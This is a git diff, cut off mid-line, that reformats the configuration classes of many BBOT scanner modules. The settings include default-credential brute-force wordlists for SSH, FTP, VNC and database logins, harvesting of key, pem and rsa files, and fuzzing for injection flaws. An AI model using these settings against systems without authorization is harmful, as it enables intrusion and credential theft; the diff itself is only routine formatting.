bbf193d593..839455f9f8 100644 --- a/bbot/modules/docker_pull.py +++ b/bbot/modules/docker_pull.py @@ -16,9 +16,13 @@ class docker_pull(BaseModule): "created_date": "2024-03-24", "author": "@domwhewell-sage", } + class Config(BaseModuleConfig): - all_tags: bool = Field(False, description='Download all tags from each registry (Default False)') - output_folder: str = Field('', description='Folder to download docker repositories to. If not specified, downloaded docker images will be deleted when the scan completes, to minimize disk usage.') + all_tags: bool = Field(False, description="Download all tags from each registry (Default False)") + output_folder: str = Field( + "", + description="Folder to download docker repositories to. If not specified, downloaded docker images will be deleted when the scan completes, to minimize disk usage.", + ) scope_distance_modifier = 2 diff --git a/bbot/modules/ffuf.py b/bbot/modules/ffuf.py index 97e7d46265..89078d7d85 100644 --- a/bbot/modules/ffuf.py +++ b/bbot/modules/ffuf.py @@ -15,13 +15,17 @@ class ffuf(BaseModule): meta = {"description": "A fast web fuzzer written in Go", "created_date": "2022-04-10", "author": "@liquidsec"} class Config(BaseModuleConfig): - wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', description='Specify wordlist to use when finding directories') - lines: int = Field(5000, description='take only the first N lines from the wordlist when finding directories') - max_depth: int = Field(0, description='the maximum directory depth to attempt to solve') - extensions: str = Field('', description='Optionally include a list of extensions to extend the keyword with (comma separated)') - ignore_case: bool = Field(False, description='Only put lowercase words into the wordlist') - rate: int = Field(0, description='Rate of requests per second (default: 0)') - + wordlist: str = Field( + "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt", + description="Specify wordlist to use when finding directories", + ) + lines: int = Field(5000, description="take only the first N lines from the wordlist when finding directories") + max_depth: int = Field(0, description="the maximum directory depth to attempt to solve") + extensions: str = Field( + "", description="Optionally include a list of extensions to extend the keyword with (comma separated)" + ) + ignore_case: bool = Field(False, description="Only put lowercase words into the wordlist") + rate: int = Field(0, description="Rate of requests per second (default: 0)") deps_common = ["ffuf"] diff --git a/bbot/modules/ffuf_shortnames.py b/bbot/modules/ffuf_shortnames.py index ceab878337..293fc1402d 100644 --- a/bbot/modules/ffuf_shortnames.py +++ b/bbot/modules/ffuf_shortnames.py @@ -19,17 +19,27 @@ class ffuf_shortnames(ffuf): } class Config(BaseModuleConfig): - wordlist_extensions: str = Field('', description='Specify wordlist to use when making extension lists') - max_depth: int = Field(1, description='the maximum directory depth to attempt to solve') - version: str = Field('2.0.0', description='ffuf version') - extensions: str = Field('', description='Optionally include a list of extensions to extend the keyword with (comma separated)') - ignore_redirects: bool = Field(True, description='Explicitly ignore redirects (301,302)') - find_common_prefixes: bool = Field(False, description='Attempt to automatically detect common prefixes and make additional ffuf runs against them') - find_delimiters: bool = Field(True, description='Attempt to detect common delimiters and make additional ffuf runs against them') - find_subwords: bool = Field(False, description='Attempt to detect subwords and make additional ffuf runs against them') - max_predictions: int = Field(250, description='The maximum number of predictions to generate per shortname prefix') - rate: int = Field(0, description='Rate of requests per second (default: 0)') - + wordlist_extensions: str = Field("", description="Specify wordlist to use when making extension lists") + max_depth: int = Field(1, description="the maximum directory depth to attempt to solve") + version: str = Field("2.0.0", description="ffuf version") + extensions: str = Field( + "", description="Optionally include a list of extensions to extend the keyword with (comma separated)" + ) + ignore_redirects: bool = Field(True, description="Explicitly ignore redirects (301,302)") + find_common_prefixes: bool = Field( + False, + description="Attempt to automatically detect common prefixes and make additional ffuf runs against them", + ) + find_delimiters: bool = Field( + True, description="Attempt to detect common delimiters and make additional ffuf runs against them" + ) + find_subwords: bool = Field( + False, description="Attempt to detect subwords and make additional ffuf runs against them" + ) + max_predictions: int = Field( + 250, description="The maximum number of predictions to generate per shortname prefix" + ) + rate: int = Field(0, description="Rate of requests per second (default: 0)") deps_pip = ["numpy"] deps_common = ["ffuf"] diff --git a/bbot/modules/filedownload.py b/bbot/modules/filedownload.py index ac15e0b576..761193f14d 100644 --- a/bbot/modules/filedownload.py +++ b/bbot/modules/filedownload.py @@ -22,10 +22,78 @@ class filedownload(BaseModule): "created_date": "2023-10-11", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - extensions: list[str] = Field(['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], description='File extensions to download') - max_filesize: str = Field('10MB', description='Cancel download if filesize is greater than this size') - output_folder: str = Field('', description='Folder to download files to. If not specified, downloaded files will be deleted when the scan completes, to minimize disk usage.') + extensions: list[str] = Field( + [ + "bak", + "bash", + "bashrc", + "cfg", + "conf", + "crt", + "csv", + "db", + "dll", + "doc", + "docx", + "exe", + "ica", + "indd", + "ini", + "jar", + "json", + "key", + "log", + "markdown", + "md", + "msi", + "odg", + "odp", + "ods", + "odt", + "pdf", + "pem", + "pps", + "ppsx", + "ppt", + "pptx", + "ps1", + "pub", + "raw", + "rdp", + "rsa", + "sh", + "sql", + "sqlite", + "swp", + "sxw", + "tar.gz", + "tgz", + "tar", + "txt", + "vbs", + "war", + "wpd", + "xls", + "xlsx", + "xml", + "yaml", + "yml", + "zip", + "lzma", + "rar", + "7z", + "xz", + "bz2", + ], + description="File extensions to download", + ) + max_filesize: str = Field("10MB", description="Cancel download if filesize is greater than this size") + output_folder: str = Field( + "", + description="Folder to download files to. If not specified, downloaded files will be deleted when the scan completes, to minimize disk usage.", + ) scope_distance_modifier = 3 diff --git a/bbot/modules/fullhunt.py b/bbot/modules/fullhunt.py index 90839b195c..ba15bcf5c1 100644 --- a/bbot/modules/fullhunt.py +++ b/bbot/modules/fullhunt.py @@ -13,8 +13,9 @@ class fullhunt(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='FullHunt API Key') + api_key: str = Field("", description="FullHunt API Key") base_url = "https://fullhunt.io/api/v1" diff --git a/bbot/modules/git_clone.py b/bbot/modules/git_clone.py index 17a52c05ef..9f526d61e7 100644 --- a/bbot/modules/git_clone.py +++ b/bbot/modules/git_clone.py @@ -14,9 +14,13 @@ class git_clone(github): "created_date": "2024-03-08", "author": "@domwhewell-sage", } + class Config(BaseModuleConfig): - api_key: str = Field('', description='Github token') - output_folder: str = Field('', description='Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage.') + api_key: str = Field("", description="Github token") + output_folder: str = Field( + "", + description="Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage.", + ) deps_apt = ["git"] diff --git a/bbot/modules/gitdumper.py b/bbot/modules/gitdumper.py index ab837cc174..c611bdc050 100644 --- a/bbot/modules/gitdumper.py +++ b/bbot/modules/gitdumper.py @@ -15,10 +15,16 @@ class gitdumper(BaseModule): "created_date": "2025-02-11", "author": "@domwhewell-sage", } + class Config(BaseModuleConfig): - output_folder: str = Field('', description='Folder to download repositories to. If not specified, downloaded repositories will be deleted when the scan completes, to minimize disk usage.') - fuzz_tags: bool = Field(False, description='Fuzz for common git tag names (v0.0.1, 0.0.2, etc.) up to the max_semanic_version') - max_semanic_version: int = Field(10, description='Maximum version number to fuzz for (default < v10.10.10)') + output_folder: str = Field( + "", + description="Folder to download repositories to. If not specified, downloaded repositories will be deleted when the scan completes, to minimize disk usage.", + ) + fuzz_tags: bool = Field( + False, description="Fuzz for common git tag names (v0.0.1, 0.0.2, etc.) up to the max_semanic_version" + ) + max_semanic_version: int = Field(10, description="Maximum version number to fuzz for (default < v10.10.10)") scope_distance_modifier = 2 diff --git a/bbot/modules/github_codesearch.py b/bbot/modules/github_codesearch.py index 3fb15c7678..fbc4a253ef 100644 --- a/bbot/modules/github_codesearch.py +++ b/bbot/modules/github_codesearch.py @@ -14,9 +14,10 @@ class github_codesearch(github, subdomain_enum): "author": "@domwhewell-sage", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='Github token') - limit: int = Field(100, description='Limit code search to this many results') + api_key: str = Field("", description="Github token") + limit: int = Field(100, description="Limit code search to this many results") github_raw_url = "https://raw.githubusercontent.com/" diff --git a/bbot/modules/github_org.py b/bbot/modules/github_org.py index 2e96fdad1e..bd84a55a77 100644 --- a/bbot/modules/github_org.py +++ b/bbot/modules/github_org.py @@ -12,9 +12,10 @@ class github_org(github): "created_date": "2023-12-14", "author": "@domwhewell-sage", } + class Config(BaseModuleConfig): - api_key: str = Field('', description='Github token') - include_members: bool = Field(True, description='Enumerate organization members') + api_key: str = Field("", description="Github token") + include_members: bool = Field(True, description="Enumerate organization members") include_member_repos: bool = Field(False, description="Also enumerate organization members' repositories") scope_distance_modifier = 2 diff --git a/bbot/modules/github_usersearch.py b/bbot/modules/github_usersearch.py index 47693c2764..9c6aac2370 100644 --- a/bbot/modules/github_usersearch.py +++ b/bbot/modules/github_usersearch.py @@ -14,8 +14,9 @@ class github_usersearch(github, subdomain_enum): "author": "@domwhewell-sage", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='Github token') + api_key: str = Field("", description="Github token") async def handle_event(self, event): self.verbose("Searching for users with emails matching in scope domains") diff --git a/bbot/modules/github_workflows.py b/bbot/modules/github_workflows.py index 12931ffdd4..82e7344abe 100644 --- a/bbot/modules/github_workflows.py +++ b/bbot/modules/github_workflows.py @@ -17,10 +17,11 @@ class github_workflows(github): "author": "@domwhewell-sage", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='Github token') - num_logs: int = Field(1, description='For each workflow fetch the last N successful runs logs (max 100)') - output_folder: str = Field('', description='Folder to download workflow logs and artifacts to') + api_key: str = Field("", description="Github token") + num_logs: int = Field(1, description="For each workflow fetch the last N successful runs logs (max 100)") + output_folder: str = Field("", description="Folder to download workflow logs and artifacts to") scope_distance_modifier = 2 diff --git a/bbot/modules/gitlab_com.py b/bbot/modules/gitlab_com.py index a08f645cc7..39ff302d41 100644 --- a/bbot/modules/gitlab_com.py +++ b/bbot/modules/gitlab_com.py @@ -16,7 +16,7 @@ class gitlab_com(GitLabBaseModule): } class Config(BaseModuleConfig): - api_key: str = Field('', description='GitLab access token (for gitlab.com/org only)') + api_key: str = Field("", description="GitLab access token (for gitlab.com/org only)") # This is needed because we are consuming SOCIAL events, which aren't in scope scope_distance_modifier = 2 diff --git a/bbot/modules/gitlab_onprem.py b/bbot/modules/gitlab_onprem.py index c76a0c91a2..03c51630ab 100644 --- a/bbot/modules/gitlab_onprem.py +++ b/bbot/modules/gitlab_onprem.py @@ -21,7 +21,7 @@ class gitlab_onprem(GitLabBaseModule): # Optional GitLab access token (only required for gitlab.com, but still # supported for on-prem installations that expose private projects). class Config(BaseModuleConfig): - api_key: str = Field('', description='GitLab access token (for self-hosted instances only)') + api_key: str = Field("", description="GitLab access token (for self-hosted instances only)") # Allow accepting events slightly beyond configured max distance so we can # discover repos on neighbouring infrastructure. diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index 46ef779b4e..f9eaa5337c 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -18,16 +18,20 @@ class gowitness(BaseModule): produced_events = ["WEBSCREENSHOT", "URL", "URL_UNVERIFIED", "TECHNOLOGY"] flags = ["safe", "active", "web-screenshots"] meta = {"description": "Take screenshots of webpages", "created_date": "2022-07-08", "author": "@TheTechromancer"} + class Config(BaseModuleConfig): - version: str = Field('3.1.1', description='Gowitness version') - threads: int = Field(0, description='How many gowitness threads to spawn (default is number of CPUs x 2)') - timeout: int = Field(10, description='Preflight check timeout') - resolution_x: int = Field(1440, description='Screenshot resolution x') - resolution_y: int = Field(900, description='Screenshot resolution y') - output_path: str = Field('', description='Where to save screenshots') - social: bool = Field(False, description='Whether to screenshot social media webpages') - idle_timeout: int = Field(1800, description='Skip the current gowitness batch if it stalls for longer than this many seconds') - chrome_path: str = Field('', description='Path to chrome executable') + version: str = Field("3.1.1", description="Gowitness version") + threads: int = Field(0, description="How many gowitness threads to spawn (default is number of CPUs x 2)") + timeout: int = Field(10, description="Preflight check timeout") + resolution_x: int = Field(1440, description="Screenshot resolution x") + resolution_y: int = Field(900, description="Screenshot resolution y") + output_path: str = Field("", description="Where to save screenshots") + social: bool = Field(False, description="Whether to screenshot social media webpages") + idle_timeout: int = Field( + 1800, description="Skip the current gowitness batch if it stalls for longer than this many seconds" + ) + chrome_path: str = Field("", description="Path to chrome executable") + deps_common = ["chromium"] deps_pip = ["aiosqlite"] deps_ansible = [ diff --git a/bbot/modules/graphql_introspection.py b/bbot/modules/graphql_introspection.py index 246e103abc..1f9e6e1a87 100644 --- a/bbot/modules/graphql_introspection.py +++ b/bbot/modules/graphql_introspection.py @@ -14,9 +14,12 @@ class graphql_introspection(BaseModule): "created_date": "2025-07-01", "author": "@mukesh-dream11", } + class Config(BaseModuleConfig): - graphql_endpoint_urls: list[str] = Field(['/', '/graphql', '/v1/graphql'], description='List of GraphQL endpoint to suffix to the target URL') - output_folder: str = Field('', description='Folder to save the GraphQL schemas to') + graphql_endpoint_urls: list[str] = Field( + ["/", "/graphql", "/v1/graphql"], description="List of GraphQL endpoint to suffix to the target URL" + ) + output_folder: str = Field("", description="Folder to save the GraphQL schemas to") async def setup(self): output_folder = self.config.get("output_folder", "") diff --git a/bbot/modules/httpx.py b/bbot/modules/httpx.py index a810d5edab..6267d5e38d 100644 --- a/bbot/modules/httpx.py +++ b/bbot/modules/httpx.py @@ -23,12 +23,13 @@ class httpx(BaseModule): } class Config(BaseModuleConfig): - threads: int = Field(50, description='Number of httpx threads to use') - in_scope_only: bool = Field(True, description='Only visit web reparents that are in scope.') - version: str = Field('1.2.5', description='httpx version') - max_response_size: int = Field(5242880, description='Max response size in bytes') - store_responses: bool = Field(False, description='Save raw HTTP responses to scan folder') - probe_all_ips: bool = Field(False, description='Probe all the ips associated with same host') + threads: int = Field(50, description="Number of httpx threads to use") + in_scope_only: bool = Field(True, description="Only visit web reparents that are in scope.") + version: str = Field("1.2.5", description="httpx version") + max_response_size: int = Field(5242880, description="Max response size in bytes") + store_responses: bool = Field(False, description="Save raw HTTP responses to scan folder") + probe_all_ips: bool = Field(False, description="Probe all the ips associated with same host") + deps_ansible = [ { "name": "Download httpx", diff --git a/bbot/modules/hunterio.py b/bbot/modules/hunterio.py index 832c3aa792..07c6b93cbb 100644 --- a/bbot/modules/hunterio.py +++ b/bbot/modules/hunterio.py @@ -13,8 +13,9 @@ class hunterio(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='Hunter.IO API key') + api_key: str = Field("", description="Hunter.IO API key") base_url = "https://api.hunter.io/v2" ping_url = f"{base_url}/account?api_key={{api_key}}" diff --git a/bbot/modules/iis_shortnames.py b/bbot/modules/iis_shortnames.py index 5be0e95793..b0b915e58a 100644 --- a/bbot/modules/iis_shortnames.py +++ b/bbot/modules/iis_shortnames.py @@ -24,10 +24,16 @@ class iis_shortnames(BaseModule): "created_date": "2022-04-15", "author": "@liquidsec", } + class Config(BaseModuleConfig): - detect_only: bool = Field(True, description='Only detect the vulnerability and do not run the shortname scanner') - max_node_count: int = Field(50, description='Limit how many nodes to attempt to resolve on any given recursion branch') + detect_only: bool = Field( + True, description="Only detect the vulnerability and do not run the shortname scanner" + ) + max_node_count: int = Field( + 50, description="Limit how many nodes to attempt to resolve on any given recursion branch" + ) speculate_magic_urls: bool = Field(True, description="Attempt to discover iis 'magic' special folders") + in_scope_only = True _module_threads = 8 diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 4c84b1b870..b59a70e9e6 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -338,9 +338,14 @@ class excavateTestRule(ExcavateRule): } class Config(BaseModuleConfig): - yara_max_match_data: int = Field(2000, description='Sets the maximum amount of text that can extracted from a YARA regex') - custom_yara_rules: str = Field('', description='Include custom Yara rules') - speculate_params: bool = Field(False, description='Enable speculative parameter extraction from JSON and XML content') + yara_max_match_data: int = Field( + 2000, description="Sets the maximum amount of text that can extracted from a YARA regex" + ) + custom_yara_rules: str = Field("", description="Include custom Yara rules") + speculate_params: bool = Field( + False, description="Enable speculative parameter extraction from JSON and XML content" + ) + scope_distance_modifier = None accept_dupes = False diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index 2eae9124e5..ded0b834ee 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -35,9 +35,14 @@ class speculate(BaseInternalModule): } class Config(BaseModuleConfig): - ip_range_max_hosts: int = Field(65536, description='Max number of hosts an IP_RANGE can contain to allow conversion into IP_ADDRESS events') - ports: str = Field('80,443', description='The set of ports to speculate on') - essential_only: bool = Field(False, description='Only enable essential speculate features (no extra discovery)') + ip_range_max_hosts: int = Field( + 65536, description="Max number of hosts an IP_RANGE can contain to allow conversion into IP_ADDRESS events" + ) + ports: str = Field("80,443", description="The set of ports to speculate on") + essential_only: bool = Field( + False, description="Only enable essential speculate features (no extra discovery)" + ) + scope_distance_modifier = 1 _priority = 4 diff --git a/bbot/modules/ip2location.py b/bbot/modules/ip2location.py index 8abf7fcc69..08676fcfef 100644 --- a/bbot/modules/ip2location.py +++ b/bbot/modules/ip2location.py @@ -17,9 +17,14 @@ class IP2Location(BaseModule): "author": "@TheTechromancer", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='IP2location.io API Key') - lang: str = Field('', description='Translation information(ISO639-1). The translation is only applicable for continent, country, region and city name.') + api_key: str = Field("", description="IP2location.io API Key") + lang: str = Field( + "", + description="Translation information(ISO639-1). The translation is only applicable for continent, country, region and city name.", + ) + scope_distance_modifier = 1 _priority = 2 suppress_dupes = False diff --git a/bbot/modules/ipneighbor.py b/bbot/modules/ipneighbor.py index badb48cd48..a69a602b03 100644 --- a/bbot/modules/ipneighbor.py +++ b/bbot/modules/ipneighbor.py @@ -14,8 +14,10 @@ class ipneighbor(BaseModule): "created_date": "2022-06-08", "author": "@TheTechromancer", } + class Config(BaseModuleConfig): - num_bits: int = Field(4, description='Netmask size (in CIDR notation) to check. Default is 4 bits (16 hosts)') + num_bits: int = Field(4, description="Netmask size (in CIDR notation) to check. Default is 4 bits (16 hosts)") + scope_distance_modifier = 1 async def setup(self): diff --git a/bbot/modules/ipstack.py b/bbot/modules/ipstack.py index f298c12b55..13e41b28b5 100644 --- a/bbot/modules/ipstack.py +++ b/bbot/modules/ipstack.py @@ -18,8 +18,10 @@ class Ipstack(BaseModule): "author": "@tycoonslive", "auth_required": True, } + class Config(BaseModuleConfig): - api_key: str = Field('', description='IPStack GeoIP API Key') + api_key: str = Field("", description="IPStack GeoIP API Key") + scope_distance_modifier = 1 _priority = 2 suppress_dupes = False diff --git a/bbot/modules/jadx.py b/bbot/modules/jadx.py index 44ae831e49..9da80079aa 100644 --- a/bbot/modules/jadx.py +++ b/bbot/modules/jadx.py @@ -14,8 +14,10 @@ class jadx(BaseModule): "created_date": "2024-11-04", "author": "@domwhewell-sage", } + class Config(BaseModuleConfig): threads: int = Field(4, description="Maximum jadx threads for extracting apk's, default: 4") + deps_common = ["java"] deps_ansible = [ { diff --git a/bbot/modules/kreuzberg.py b/bbot/modules/kreuzberg.py index a71ce524b5..d782958415 100644 --- a/bbot/modules/kreuzberg.py +++ b/bbot/modules/kreuzberg.py @@ -15,8 +15,58 @@ class kreuzberg(BaseModule): "created_date": "2024-06-03", "author": "@domwhewell-sage", } + class Config(BaseModuleConfig): - extensions: list[str] = Field(['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml'], description='File extensions to parse') + extensions: list[str] = Field( + [ + "bak", + "bash", + "bashrc", + "conf", + "cfg", + "crt", + "csv", + "db", + "sqlite", + "doc", + "docx", + "ica", + "indd", + "ini", + "json", + "key", + "pub", + "log", + "markdown", + "md", + "odg", + "odp", + "ods", + "odt", + "pdf", + "pem", + "pps", + "ppsx", + "ppt", + "pptx", + "ps1", + "rdp", + "rsa", + "sh", + "sql", + "swp", + "sxw", + "txt", + "vbs", + "wpd", + "xls", + "xlsx", + "xml", + "yml", + "yaml", + ], + description="File extensions to parse", + ) deps_pip = ["kreuzberg>=4.3,<4.5", "pypdfium2~=5.0"] scope_distance_modifier = 1 diff --git a/bbot/modules/leakix.py b/bbot/modules/leakix.py index f4f44bbd09..5d98f83435 100644 --- a/bbot/modules/leakix.py +++ b/bbot/modules/leakix.py @@ -7,8 +7,10 @@ class leakix(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] flags = ["safe", "subdomain-enum", "passive"] + class Config(BaseModuleConfig): - api_key: str = Field('', description='LeakIX API Key') + api_key: str = Field("", description="LeakIX API Key") + # NOTE: API key is not required (but having one will get you more results) meta = { "description": "Query leakix.net for subdomains", diff --git a/bbot/modules/legba.py b/bbot/modules/legba.py index f76a73b038..8ad9eebd7e 100644 --- a/bbot/modules/legba.py +++ b/bbot/modules/legba.py @@ -31,17 +31,37 @@ class legba(BaseModule): scope_distance_modifier = None class Config(BaseModuleConfig): - ssh_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', description='Wordlist URL for SSH combined username:password wordlist, newline separated') - ftp_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', description='Wordlist URL for FTP combined username:password wordlist, newline separated') - telnet_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', description='Wordlist URL for TELNET combined username:password wordlist, newline separated') - vnc_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', description='Wordlist URL for VNC password wordlist, newline separated') - mssql_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', description='Wordlist URL for MSSQL combined username:password wordlist, newline separated') - mysql_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', description='Wordlist URL for MySQL combined username:password wordlist, newline separated') - postgresql_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', description='Wordlist URL for PostgreSQL combined username:password wordlist, newline separated') - concurrency: int = Field(3, description='Number of concurrent workers, gets overridden for SSH') - rate_limit: int = Field(3, description='Limit the number of requests per second, gets overridden for SSH') - version: str = Field('1.1.1', description='legba version') - + ssh_wordlist: str = Field( + "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt", + description="Wordlist URL for SSH combined username:password wordlist, newline separated", + ) + ftp_wordlist: str = Field( + "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt", + description="Wordlist URL for FTP combined username:password wordlist, newline separated", + ) + telnet_wordlist: str = Field( + "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt", + description="Wordlist URL for TELNET combined username:password wordlist, newline separated", + ) + vnc_wordlist: str = Field( + "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt", + description="Wordlist URL for VNC password wordlist, newline separated", + ) + mssql_wordlist: str = Field( + "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt", + description="Wordlist URL for MSSQL combined username:password wordlist, newline separated", + ) + mysql_wordlist: str = Field( + "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt", + description="Wordlist URL for MySQL combined username:password wordlist, newline separated", + ) + postgresql_wordlist: str = Field( + "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt", + description="Wordlist URL for PostgreSQL combined username:password wordlist, newline separated", + ) + concurrency: int = Field(3, description="Number of concurrent workers, gets overridden for SSH") + rate_limit: int = Field(3, description="Limit the number of requests per second, gets overridden for SSH") + version: str = Field("1.1.1", description="legba version") deps_ansible = [ { diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index ba9989dd24..b8cc6b1f75 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -12,12 +12,25 @@ class lightfuzz(BaseModule): flags = ["active", "loud", "web-heavy", "invasive"] class Config(BaseModuleConfig): - force_common_headers: bool = Field(False, description='Force emit commonly exploitable parameters that may be difficult to detect') - enabled_submodules: list[str] = Field(['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi', 'ssrf'], description='A list of submodules to enable. Empty list enabled all modules.') - disable_post: bool = Field(False, description='Disable processing of POST parameters, avoiding form submissions.') - try_post_as_get: bool = Field(False, description='For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing).') - try_get_as_post: bool = Field(False, description='For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing).') - avoid_wafs: bool = Field(True, description='Avoid running against confirmed WAFs, which are likely to block lightfuzz requests') + force_common_headers: bool = Field( + False, description="Force emit commonly exploitable parameters that may be difficult to detect" + ) + enabled_submodules: list[str] = Field( + ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi", "ssrf"], + description="A list of submodules to enable. Empty list enabled all modules.", + ) + disable_post: bool = Field( + False, description="Disable processing of POST parameters, avoiding form submissions." + ) + try_post_as_get: bool = Field( + False, description="For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing)." + ) + try_get_as_post: bool = Field( + False, description="For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing)." + ) + avoid_wafs: bool = Field( + True, description="Avoid running against confirmed WAFs, which are likely to block lightfuzz requests" + ) meta = { "description": "Find Web Parameters and Lightly Fuzz them using a heuristic based scanner", diff --git a/bbot/modules/medusa.py b/bbot/modules/medusa.py index 5184eef871..b0315d7869 100644 --- a/bbot/modules/medusa.py +++ b/bbot/modules/medusa.py @@ -17,12 +17,20 @@ class medusa(BaseModule): scope_distance_modifier = None class Config(BaseModuleConfig): - snmp_wordlist: str = Field('https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', description='Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt)') - snmp_versions: list[str] = Field(['1', '2C'], description="List of SNMP versions to attempt against the SNMP server (default ['1', '2C'])") - wait_microseconds: int = Field(200, description='Wait time after every SNMP request in microseconds (default 200)') - timeout_s: int = Field(5, description='Wait time for the SNMP response(s) once at the end of all attempts (default 5)') - threads: int = Field(5, description='Number of communities to be tested concurrently (default 5)') - + snmp_wordlist: str = Field( + "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt", + description="Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt)", + ) + snmp_versions: list[str] = Field( + ["1", "2C"], description="List of SNMP versions to attempt against the SNMP server (default ['1', '2C'])" + ) + wait_microseconds: int = Field( + 200, description="Wait time after every SNMP request in microseconds (default 200)" + ) + timeout_s: int = Field( + 5, description="Wait time for the SNMP response(s) once at the end of all attempts (default 5)" + ) + threads: int = Field(5, description="Number of communities to be tested concurrently (default 5)") deps_ansible = [ { diff --git a/bbot/modules/ntlm.py b/bbot/modules/ntlm.py index 19d29af238..bd4a77ffa1 100644 --- a/bbot/modules/ntlm.py +++ b/bbot/modules/ntlm.py @@ -76,8 +76,9 @@ class ntlm(BaseModule): "created_date": "2022-07-25", "author": "@liquidsec", } + class Config(BaseModuleConfig): - try_all: bool = Field(False, description='Try every NTLM endpoint') + try_all: bool = Field(False, description="Try every NTLM endpoint") in_scope_only = True diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index 579f2dbf84..677889adec 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -18,12 +18,12 @@ class nuclei(BaseModule): } class Config(BaseModuleConfig): - version: str = Field('3.8.0', description='nuclei version') - tags: str = Field('', description='execute a subset of templates that contain the provided tags') - templates: str = Field('', description='template or template directory paths to include in the scan') - severity: str = Field('', description='Filter based on severity field available in the 